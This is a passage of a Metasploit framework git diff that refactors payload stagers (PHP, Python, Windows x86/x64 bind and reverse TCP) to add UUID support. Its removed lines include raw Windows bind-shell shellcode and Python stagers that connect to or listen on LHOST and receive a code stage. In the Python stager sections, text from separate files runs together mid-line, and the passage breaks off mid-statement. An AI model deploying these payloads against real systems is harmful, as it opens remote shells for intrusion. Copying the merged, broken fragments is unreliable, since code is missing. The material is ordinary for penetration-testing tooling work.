'Description' => 'Listen for a connection over IPv6 with UUID Support', + 'Author' => [ 'egypt', 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::BindTcp, + 'Stager' => { 'Payload' => "" } + )) + end + + def use_ipv6 + true + end + + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/php/bind_tcp_uuid.rb b/modules/payloads/stagers/php/bind_tcp_uuid.rb new file mode 100644 index 0000000000..e31bd5a8ce --- /dev/null +++ b/modules/payloads/stagers/php/bind_tcp_uuid.rb @@ -0,0 +1,38 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/php/bind_tcp' + +module Metasploit4 + + CachedSize = 1357 + + include Msf::Payload::Stager + include Msf::Payload::Php::BindTcp + + def self.handler_type_alias + "bind_tcp_uuid" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Bind TCP Stager with UUID Support', + 'Description' => 'Listen for a connection with UUID Support', + 'Author' => [ 'egypt', 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::BindTcp, + 'Stager' => { 'Payload' => "" } + )) + end + + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/php/reverse_tcp.rb b/modules/payloads/stagers/php/reverse_tcp.rb index 96536cb67e..dfb8d9d864 100644 --- a/modules/payloads/stagers/php/reverse_tcp.rb +++ b/modules/payloads/stagers/php/reverse_tcp.rb @@ -4,50 +4,27 @@ ## require 'msf/core' -require 'msf/core/payload/php' require 'msf/core/handler/reverse_tcp' -require 'msf/base/sessions/command_shell' -require 'msf/base/sessions/command_shell_options' +require 'msf/core/payload/php/reverse_tcp' -module Metasploit3 +module Metasploit4 - CachedSize = 1303 + CachedSize = 931 include Msf::Payload::Stager - include Msf::Payload::Php + include Msf::Payload::Php::ReverseTcp def initialize(info = {}) super(merge_info(info, - 'Name' => 'PHP Reverse TCP Stager', - 'Description' => 'Reverse PHP connect back stager with checks for disabled functions', - 'Author' => 'egypt', - 'License' => MSF_LICENSE, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Handler' => Msf::Handler::ReverseTcp, - 'Stager' => {'Payload' => ""} - )) - end - - # - # Constructs the payload - # - def generate - reverse = File.read(File.join(Msf::Config::InstallRoot, 'data', 'php', 'reverse_tcp.php')) - reverse.gsub!("127.0.0.1", "#{datastore["LHOST"]}") - reverse.gsub!("4444", "#{datastore["LPORT"]}") - #reverse.gsub!(/#.*$/, '') - #reverse = Rex::Text.compress(reverse) - - return super + reverse - end - - # - # PHP's read functions suck, make sure they know exactly how much data to - # grab by sending a length. - # - def handle_intermediate_stage(conn, payload) - conn.put([payload.length].pack("N")) + 'Name' => 'PHP Reverse TCP Stager', + 'Description' => 'Reverse PHP connect back stager with checks for disabled functions', + 'Author' => 'egypt', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => {'Payload' => ""} + )) end end diff --git a/modules/payloads/stagers/php/reverse_tcp_uuid.rb b/modules/payloads/stagers/php/reverse_tcp_uuid.rb new file mode 100644 index 0000000000..9cf8fbed77 --- /dev/null +++ b/modules/payloads/stagers/php/reverse_tcp_uuid.rb @@ -0,0 +1,38 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/php/reverse_tcp' + +module Metasploit4 + + CachedSize = 1105 + + include Msf::Payload::Stager + include Msf::Payload::Php::ReverseTcp + + def self.handler_type_alias + "reverse_tcp_uuid" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'PHP Reverse TCP Stager', + 'Description' => 'Reverse PHP connect back stager with checks for disabled functions', + 'Author' => [ 'egypt', 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => {'Payload' => ""} + )) + end + + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index 75612fa414..113f9b4828 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -5,53 +5,30 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/python' +require 'msf/core/payload/python/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module Metasploit4 - CachedSize = 374 + CachedSize = 386 include Msf::Payload::Stager + include Msf::Payload::Python + include Msf::Payload::Python::BindTcp def initialize(info = {}) super(merge_info(info, - 'Name' => 'Python Bind TCP Stager', - 'Description' => 'Listen for a connection', - 'Author' => 'Spencer McIntyre', - 'License' => MSF_LICENSE, - 'Platform' => 'python', - 'Arch' => ARCH_PYTHON, - 'Handler' => Msf::Handler::BindTcp, - 'Stager' => {'Payload' => ""} + 'Name' => 'Python Bind TCP Stager', + 'Description' => 'Listen for a connection', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::BindTcp, + 'Stager' => {'Payload' => ""} )) end - # - # Constructs the payload - # - def generate - # Set up the socket - cmd = "import socket,struct\n" - cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 - cmd << "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" - cmd << "s.listen(1)\n" - cmd << "c,a=s.accept()\n" - cmd << "l=struct.unpack('>I',c.recv(4))[0]\n" - cmd << "d=c.recv(l)\n" - cmd << "while len(d) 'Python Bind TCP Stager with UUID Support', + 'Description' => 'Listen for a connection with UUID Support', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::BindTcp, + 'Stager' => {'Payload' => ""} + )) + end + + # Tell the reverse_tcp payload to include the UUID + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/python/reverse_https.rb b/modules/payloads/stagers/python/reverse_https.rb index 6437db03f6..cc8d012738 100644 --- a/modules/payloads/stagers/python/reverse_https.rb +++ b/modules/payloads/stagers/python/reverse_https.rb @@ -5,14 +5,14 @@ require 'msf/core' require 'msf/core/handler/reverse_https' -require 'msf/core/payload/uuid_options' +require 'msf/core/payload/uuid/options' module Metasploit3 CachedSize = 742 include Msf::Payload::Stager - include Msf::Payload::UUIDOptions + include Msf::Payload::UUID::Options def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index 9f646f5c6f..75b1a00929 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -5,51 +5,28 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/python/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module Metasploit4 CachedSize = 342 include Msf::Payload::Stager + include Msf::Payload::Python::ReverseTcp def initialize(info = {}) super(merge_info(info, - 'Name' => 'Python Reverse TCP Stager', - 'Description' => 'Connect back to the attacker', - 'Author' => 'Spencer McIntyre', - 'License' => MSF_LICENSE, - 'Platform' => 'python', - 'Arch' => ARCH_PYTHON, - 'Handler' => Msf::Handler::ReverseTcp, - 'Stager' => {'Payload' => ""} + 'Name' => 'Python Reverse TCP Stager', + 'Description' => 'Connect back to the attacker', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => {'Payload' => ""} )) end - # - # Constructs the payload - # - def generate - # Set up the socket - cmd = "import socket,struct\n" - cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 - cmd << "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" - cmd << "l=struct.unpack('>I',s.recv(4))[0]\n" - cmd << "d=s.recv(l)\n" - cmd << "while len(d) 'Python Reverse TCP Stager with UUID Support', + 'Description' => 'Connect back to the attacker with UUID Support', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => {'Payload' => ""} + )) + end + + # Tell the reverse_tcp payload to include the UUID + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/windows/bind_ipv6_tcp.rb b/modules/payloads/stagers/windows/bind_ipv6_tcp.rb index aabb84b75c..10aeea1af4 100644 --- a/modules/payloads/stagers/windows/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/windows/bind_ipv6_tcp.rb @@ -6,14 +6,14 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/windows/bind_tcp' - -module Metasploit3 +module Metasploit4 CachedSize = 285 include Msf::Payload::Stager - include Msf::Payload::Windows + include Msf::Payload::Windows::BindTcp def self.handler_type_alias "bind_ipv6_tcp" @@ -21,43 +21,20 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind TCP Stager (IPv6)', - 'Description' => 'Listen for a connection over IPv6', - 'Author' => ['hdm', 'skape'], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::BindTcp, - 'Convention' => 'sockedi', - 'Stager' => - { - 'Offsets' => - { - 'LPORT' => [ 192, 'n' ], - }, - # Technically this is the same as bind_tcp, but has been duplicated for - # backwards compatibility with tools that expect this payload name. - 'Payload' => - "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + - "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + - "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + - "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + - "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + - "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + - "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + - "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + - "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + - "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2" + - "\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00" + - "\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57" + - "\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57" + - "\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" + - "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" + - "\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" + - "\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\xC3" - } - )) + 'Name' => 'Bind IPv6 TCP Stager (Windows x86)', + 'Description' => 'Listen for an IPv6 connection (Windows x86)', + 'Author' => ['hdm', 'skape', 'sf'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + + def use_ipv6 + true end end diff --git a/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb new file mode 100644 index 0000000000..955625dd12 --- /dev/null +++ b/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb @@ -0,0 +1,45 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/windows/bind_tcp' + +module Metasploit4 + + CachedSize = 318 + + include Msf::Payload::Stager + include Msf::Payload::Windows::BindTcp + + def self.handler_type_alias + "bind_ipv6_tcp_uuid" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Bind IPv6 TCP Stager with UUID Support (Windows x86)', + 'Description' => 'Listen for an IPv6 connection with UUID Support (Windows x86)', + 'Author' => [ 'hdm', 'skape', 'sf', 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + + def use_ipv6 + true + end + + def include_send_uuid + true + end + +end + diff --git a/modules/payloads/stagers/windows/bind_tcp.rb b/modules/payloads/stagers/windows/bind_tcp.rb index 6540c6735e..c59304480d 100644 --- a/modules/payloads/stagers/windows/bind_tcp.rb +++ b/modules/payloads/stagers/windows/bind_tcp.rb @@ -17,16 +17,16 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind TCP Stager (Windows x86)', - 'Description' => 'Listen for a connection (Windows x86)', - 'Author' => ['hdm', 'skape', 'sf'], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::BindTcp, - 'Convention' => 'sockedi', - 'Stager' => { 'RequiresMidstager' => false } - )) + 'Name' => 'Bind TCP Stager (Windows x86)', + 'Description' => 'Listen for a connection (Windows x86)', + 'Author' => ['hdm', 'skape', 'sf'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => false } + )) end end diff --git a/modules/payloads/stagers/windows/bind_tcp_rc4.rb b/modules/payloads/stagers/windows/bind_tcp_rc4.rb index b3cedca190..cd50c3b324 100644 --- a/modules/payloads/stagers/windows/bind_tcp_rc4.rb +++ b/modules/payloads/stagers/windows/bind_tcp_rc4.rb @@ -74,8 +74,8 @@ module Metasploit3 ], self.class) end - def generate_stage - p = super + def generate_stage(opts={}) + p = super(opts) m = OpenSSL::Digest.new('sha1') m.reset key = m.digest(datastore["RC4PASSWORD"] || "") diff --git a/modules/payloads/stagers/windows/bind_tcp_uuid.rb b/modules/payloads/stagers/windows/bind_tcp_uuid.rb new file mode 100644 index 0000000000..bb8326d4f1 --- /dev/null +++ b/modules/payloads/stagers/windows/bind_tcp_uuid.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/windows/bind_tcp' + +module Metasploit4 + + CachedSize = 318 + + include Msf::Payload::Stager + include Msf::Payload::Windows::BindTcp + + def self.handler_type_alias + 'bind_tcp_uuid' + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Bind TCP Stager with UUID Support (Windows x86)', + 'Description' => 'Listen for a connection with UUID Support (Windows x86)', + 'Author' => [ 'hdm', 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + + # + # Override the uuid function and opt-in for sending the + # UUID in the stage. + # + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb index fcb1f49ca1..3ba25412bf 100644 --- a/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb +++ b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_http' -require 'msf/core/payload/uuid_options' +require 'msf/core/payload/uuid/options' module Metasploit3 @@ -13,7 +13,7 @@ module Metasploit3 include Msf::Payload::Stager include Msf::Payload::Windows - include Msf::Payload::UUIDOptions + include Msf::Payload::UUID::Options def self.handler_type_alias "reverse_http_proxy_pstore" diff --git a/modules/payloads/stagers/windows/reverse_tcp.rb b/modules/payloads/stagers/windows/reverse_tcp.rb index 8df5d350b0..8fe18aabd6 100644 --- a/modules/payloads/stagers/windows/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_tcp.rb @@ -17,16 +17,16 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Reverse TCP Stager', - 'Description' => 'Connect back to the attacker', - 'Author' => ['hdm', 'skape', 'sf'], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseTcp, - 'Convention' => 'sockedi', - 'Stager' => { 'RequiresMidstager' => false } - )) + 'Name' => 'Reverse TCP Stager', + 'Description' => 'Connect back to the attacker', + 'Author' => ['hdm', 'skape', 'sf'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => false } + )) end end diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb index bf3822115a..6374045fac 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb @@ -75,8 +75,8 @@ module Metasploit3 ], self.class) end - def generate_stage - p = super + def generate_stage(opts={}) + p = super(opts) m = OpenSSL::Digest.new('sha1') m.reset key = m.digest(datastore["RC4PASSWORD"] || "") diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb index 354ce989e5..24d29b7e81 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb @@ -83,7 +83,8 @@ module Metasploit3 ], self.class) end - def generate_stage + def generate_stage(opts={}) + p = super(opts) m = OpenSSL::Digest.new('sha1') m.reset key = m.digest(datastore["RC4PASSWORD"] || "") diff --git a/modules/payloads/stagers/windows/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/reverse_tcp_uuid.rb new file mode 100644 index 0000000000..c77c5d056a --- /dev/null +++ b/modules/payloads/stagers/windows/reverse_tcp_uuid.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/windows/reverse_tcp' + +module Metasploit4 + + CachedSize = 314 + + include Msf::Payload::Stager + include Msf::Payload::Windows::ReverseTcp + + def self.handler_type_alias + 'reverse_tcp_uuid' + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse TCP Stager with UUID Support', + 'Description' => 'Connect back to the attacker with UUID Support', + 'Author' => [ 'hdm', 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + + # + # Override the uuid function and opt-in for sending the + # UUID in the stage. + # + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb new file mode 100644 index 0000000000..3e2b01bdd6 --- /dev/null +++ b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb @@ -0,0 +1,40 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/windows/x64/bind_tcp' + +module Metasploit4 + + CachedSize = 483 + + include Msf::Payload::Stager + include Msf::Payload::Windows::BindTcp_x64 + + def self.handler_type_alias + "bind_ipv6_tcp" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows x64 IPv6 Bind TCP Stager', + 'Description' => 'Listen for an IPv6 connection (Windows x64)', + 'Author' => [ 'sf' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockrdi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + + def use_ipv6 + true + end + +end + diff --git a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb new file mode 100644 index 0000000000..dfdd4ce73c --- /dev/null +++ b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb @@ -0,0 +1,45 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/windows/x64/bind_tcp' + +module Metasploit4 + + CachedSize = 524 + + include Msf::Payload::Stager + include Msf::Payload::Windows::BindTcp_x64 + + def self.handler_type_alias + "bind_ipv6_tcp_uuid" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows x64 IPv6 Bind TCP Stager with UUID Support', + 'Description' => 'Listen for an IPv6 connection with UUID Support (Windows x64)', + 'Author' => [ 'sf', 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockrdi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + + def use_ipv6 + true + end + + def include_send_uuid + true + end + +end + + diff --git a/modules/payloads/stagers/windows/x64/bind_tcp.rb b/modules/payloads/stagers/windows/x64/bind_tcp.rb index b7dec4b64c..547e323d9f 100644 --- a/modules/payloads/stagers/windows/x64/bind_tcp.rb +++ b/modules/payloads/stagers/windows/x64/bind_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/bind_tcp' module Metasploit4 - CachedSize = 479 + CachedSize = 481 include Msf::Payload::Stager include Msf::Payload::Windows::BindTcp_x64 diff --git a/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb new file mode 100644 index 0000000000..00966f3d82 --- /dev/null +++ b/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb @@ -0,0 +1,43 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/windows/x64/bind_tcp' + +module Metasploit4 + + CachedSize = 522 + + include Msf::Payload::Stager + include Msf::Payload::Windows::BindTcp_x64 + + def self.handler_type_alias + 'bind_tcp_uuid' + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Bind TCP Stager with UUID Support (Windows x64)', + 'Description' => 'Listen for a connection with UUID Support (Windows x64)', + 'Author' => [ 'sf', 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockrdi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + + # + # Override the uuid function and opt-in for sending the + # UUID in the stage. + # + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp.rb b/modules/payloads/stagers/windows/x64/reverse_tcp.rb index 1715f2eba9..fa311123ee 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp.rb @@ -16,16 +16,16 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Windows x64 Reverse TCP Stager', - 'Description' => 'Connect back to the attacker (Windows x64)', - 'Author' => [ 'sf' ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86_64, - 'Handler' => Msf::Handler::ReverseTcp, - 'Convention' => 'sockrdi', - 'Stager' => { 'RequiresMidstager' => false } - )) + 'Name' => 'Windows x64 Reverse TCP Stager', + 'Description' => 'Connect back to the attacker (Windows x64)', + 'Author' => [ 'sf' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::ReverseTcp, + 'Convention' => 'sockrdi', + 'Stager' => { 'RequiresMidstager' => false } + )) end end diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb new file mode 100644 index 0000000000..8c21b7ffe1 --- /dev/null +++ b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb @@ -0,0 +1,43 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/windows/x64/reverse_tcp' + +module Metasploit4 + + CachedSize = 478 + + include Msf::Payload::Stager + include Msf::Payload::Windows::ReverseTcp_x64 + + def self.handler_type_alias + 'reverse_tcp_uuid' + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse TCP Stager with UUID Support (Windows x64)', + 'Description' => 'Connect back to the attacker with UUID Support (Windows x64)', + 'Author' => [ 'sf', 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::ReverseTcp, + 'Convention' => 'sockrdi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + + # + # Override the uuid function and opt-in for sending the + # UUID in the stage. + # + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stages/android/meterpreter.rb b/modules/payloads/stages/android/meterpreter.rb index 5c42790620..fe2e95a156 100644 --- a/modules/payloads/stages/android/meterpreter.rb +++ b/modules/payloads/stages/android/meterpreter.rb @@ -36,13 +36,11 @@ module Metasploit3 # Override the Payload::Dalvik version so we can load a prebuilt jar to be # used as the final stage # - def generate_stage + def generate_stage(opts={}) + # TODO: wire the UUID into the stage clazz = 'androidpayload.stage.Meterpreter' - file = File.join(Msf::Config.data_directory, "android", "metstage.jar") - metstage = File.open(file, "rb") {|f| f.read(f.stat.size) } - - file = File.join(Msf::Config.data_directory, "android", "meterpreter.jar") - met = File.open(file, "rb") {|f| f.read(f.stat.size) } + metstage = MetasploitPayloads.read("android", "metstage.jar") + met = MetasploitPayloads.read("android", "meterpreter.jar") # Name of the class to load from the stage, the actual jar to load # it from, and then finally the meterpreter stage diff --git a/modules/payloads/stages/android/shell.rb b/modules/payloads/stages/android/shell.rb index 0d04451c27..5b68d4b419 100644 --- a/modules/payloads/stages/android/shell.rb +++ b/modules/payloads/stages/android/shell.rb @@ -34,10 +34,9 @@ module Metasploit3 # Override the {Payload::Dalvik} version so we can load a prebuilt jar # to be used as the final stage # - def generate_stage + def generate_stage(opts={}) clazz = 'androidpayload.stage.Shell' - file = File.join(Msf::Config.data_directory, "android", "shell.jar") - shell_jar = File.open(file, "rb") {|f| f.read(f.stat.size) } + shell_jar = MetasploitPayloads.read("android", "shell.jar") # Name of the class to load from the stage, and then the actual jar # to load it from diff --git a/modules/payloads/stages/java/meterpreter.rb b/modules/payloads/stages/java/meterpreter.rb index 2fe63d9b42..dfa263ef0e 100644 --- a/modules/payloads/stages/java/meterpreter.rb +++ b/modules/payloads/stages/java/meterpreter.rb @@ -53,12 +53,13 @@ module Metasploit3 # Override the Payload::Java version so we can load a prebuilt jar to be # used as the final stage; calls super to get the intermediate stager. # - def generate_stage + def generate_stage(opts={}) + # TODO: wire the UUID into the stage met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar') # All of the dendencies to create a jar loader, followed by the length # of the jar and the jar itself. - super + [met.length].pack("N") + met + super(opts) + [met.length].pack("N") + met end end diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index 4590895cd5..6b1a2c0e67 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -142,25 +142,18 @@ module Metasploit3 end - def generate_stage + def generate_stage(opts={}) meterpreter = generate_meterpreter - config = generate_config + config = generate_config(opts) meterpreter + config end def generate_meterpreter - blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin') - - blob + MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin') end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = 